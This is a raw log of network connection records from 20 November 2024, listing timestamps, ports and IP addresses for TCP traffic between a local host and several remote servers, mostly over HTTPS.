Nov 20, 2024 23:12:44.523948908 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:44.524049044 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:44.526923895 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:44.526988029 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:44.527542114 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:44.527549982 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:44.570991039 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:44.628458977 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:44.641469955 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.641494989 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:44.642005920 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.642011881 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:44.833892107 CET	80	49763	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:44.833946943 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:45.022162914 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.031413078 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:45.031495094 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:45.031575918 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:45.038670063 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.038678885 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.039201021 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.039206028 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.044723034 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:45.044740915 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:45.074359894 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.074434042 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.074490070 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.074723959 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.074747086 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.078396082 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.078433037 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.078516960 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.078672886 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.078685999 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.241414070 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:45.241935015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:45.333293915 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:45.333348036 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:45.333513975 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:45.335216999 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:45.335233927 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:45.360965014 CET	80	49763	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:45.361421108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:45.361505985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:45.362121105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:45.362194061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:45.375710011 CET	49802	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:45.375787973 CET	443	49802	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:45.375864983 CET	49802	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:45.376252890 CET	49802	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:45.376281977 CET	443	49802	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:45.469635963 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.469721079 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.469774008 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.470051050 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.470074892 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.470088005 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.470093966 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.473591089 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.473635912 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.473800898 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.474020004 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.474034071 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.483094931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:45.483110905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:45.483170986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:45.483180046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:45.664870977 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.665740967 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.665775061 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.667021036 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:45.667036057 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:45.947957039 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.020754099 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.020787001 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.021197081 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.021203041 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.033802986 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.058311939 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.058352947 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.058775902 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.058789968 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.119204998 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.119271040 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.119602919 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.180504084 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.180531025 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.258835077 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.258877039 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.258934021 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.259906054 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.259921074 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.486407995 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.486582994 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.491499901 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.533973932 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.534146070 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.534256935 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.723118067 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.723150015 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.723165035 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.723171949 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.725370884 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.725370884 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.725383997 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.725394011 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.740698099 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.740740061 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.740824938 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.740972042 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.740993977 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.741085052 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.741348982 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.741363049 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.741411924 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.741422892 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.909323931 CET	49822	443	192.168.2.7	18.165.220.106
Nov 20, 2024 23:12:46.909332991 CET	443	49822	18.165.220.106	192.168.2.7
Nov 20, 2024 23:12:46.909388065 CET	49822	443	192.168.2.7	18.165.220.106
Nov 20, 2024 23:12:46.909661055 CET	49822	443	192.168.2.7	18.165.220.106
Nov 20, 2024 23:12:46.909670115 CET	443	49822	18.165.220.106	192.168.2.7
Nov 20, 2024 23:12:46.924962044 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.925436974 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.925456047 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.925946951 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:46.925951004 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:46.986543894 CET	49802	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:46.987015963 CET	49822	443	192.168.2.7	18.165.220.106
Nov 20, 2024 23:12:46.987656116 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:46.987680912 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:46.987747908 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:46.988913059 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:46.988925934 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:47.027353048 CET	443	49822	18.165.220.106	192.168.2.7
Nov 20, 2024 23:12:47.027357101 CET	443	49802	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:47.189349890 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.189826965 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.189867020 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.190330029 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.190335989 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.213151932 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:47.213164091 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:47.213232994 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:47.213411093 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:47.213419914 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:47.213896990 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:47.213939905 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:47.214175940 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:47.214175940 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:47.214210033 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:47.219489098 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:47.219530106 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:47.219605923 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:47.220736027 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:47.220751047 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:47.296422958 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:47.296526909 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:47.316943884 CET	443	49802	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:47.317008018 CET	49802	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:47.381201029 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.381283045 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.381464005 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.381545067 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.381563902 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.381573915 CET	49796	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.381580114 CET	443	49796	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.385327101 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.385380983 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.385478020 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.385704041 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.385721922 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.434113979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:47.434261084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:47.482567072 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:47.482604027 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:47.482948065 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:47.484627008 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:47.484627008 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:47.484657049 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:47.565010071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:47.630251884 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.630325079 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.630630970 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.630657911 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.630657911 CET	49804	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.630671978 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.630680084 CET	443	49804	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.635411978 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.635448933 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.635705948 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.635924101 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:47.635936975 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:47.684549093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:48.012774944 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.012825012 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.012892008 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.013122082 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.013138056 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.027642012 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.027687073 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.027887106 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.027990103 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.028006077 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.074376106 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.074419975 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.074486971 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.074728966 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.074747086 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.110447884 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.110928059 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.110961914 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.111330032 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.111335039 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.156497002 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.156589031 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.156641006 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.157138109 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.157138109 CET	49801	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.157166958 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.157176018 CET	443	49801	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.189647913 CET	49843	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.189696074 CET	443	49843	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.189795971 CET	49843	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.190289974 CET	49843	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.190310955 CET	443	49843	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.267963886 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.268045902 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.268132925 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.268687963 CET	49844	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:48.268706083 CET	443	49844	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:48.478669882 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.479255915 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.480401039 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.480485916 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.481026888 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.481030941 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.481046915 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.481054068 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.482207060 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.482280016 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.483330011 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.483432055 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.483517885 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.483530045 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.491198063 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.491466045 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.491494894 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.492607117 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.492717028 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.492871046 CET	443	49822	18.165.220.106	192.168.2.7
Nov 20, 2024 23:12:48.492994070 CET	443	49822	18.165.220.106	192.168.2.7
Nov 20, 2024 23:12:48.493041992 CET	49822	443	192.168.2.7	18.165.220.106
Nov 20, 2024 23:12:48.493068933 CET	49822	443	192.168.2.7	18.165.220.106
Nov 20, 2024 23:12:48.493377924 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.493854046 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.493880033 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.494007111 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.494118929 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.494260073 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.494270086 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.495357990 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.495418072 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.496325016 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.496439934 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.496462107 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.519805908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:48.519865036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:48.527623892 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.528021097 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.528038025 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.528446913 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.528450966 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.530026913 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.533900023 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.543335915 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.545119047 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.545135021 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.564013958 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.564196110 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.564253092 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.564342022 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.564359903 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.564379930 CET	49809	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.564385891 CET	443	49809	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.568367958 CET	49845	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.568402052 CET	443	49845	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.568633080 CET	49845	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.568744898 CET	49845	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.568753958 CET	443	49845	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.590831995 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.910984993 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.911056042 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.911107063 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.911300898 CET	49836	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.911319971 CET	443	49836	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.912652969 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.912807941 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.912883043 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.935756922 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.935894966 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.937383890 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.937447071 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.937465906 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.939023018 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.948992014 CET	49835	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:48.949018955 CET	443	49835	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:48.949505091 CET	49834	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:48.949533939 CET	443	49834	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:48.950962067 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.951231003 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:48.951257944 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.951642990 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.951657057 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.951695919 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:48.951704979 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.951719999 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:48.951740026 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:48.952347040 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.953872919 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:48.953934908 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.954026937 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:48.954034090 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:48.969244957 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.969279051 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.969295979 CET	49816	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.969301939 CET	443	49816	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.972397089 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.972465992 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.972522974 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.973754883 CET	49815	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.973783016 CET	443	49815	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.980931997 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.980964899 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.981136084 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.982604980 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.982635021 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.982717991 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.984757900 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:48.984771013 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:48.985522985 CET	49847	443	192.168.2.7	13.107.246.63
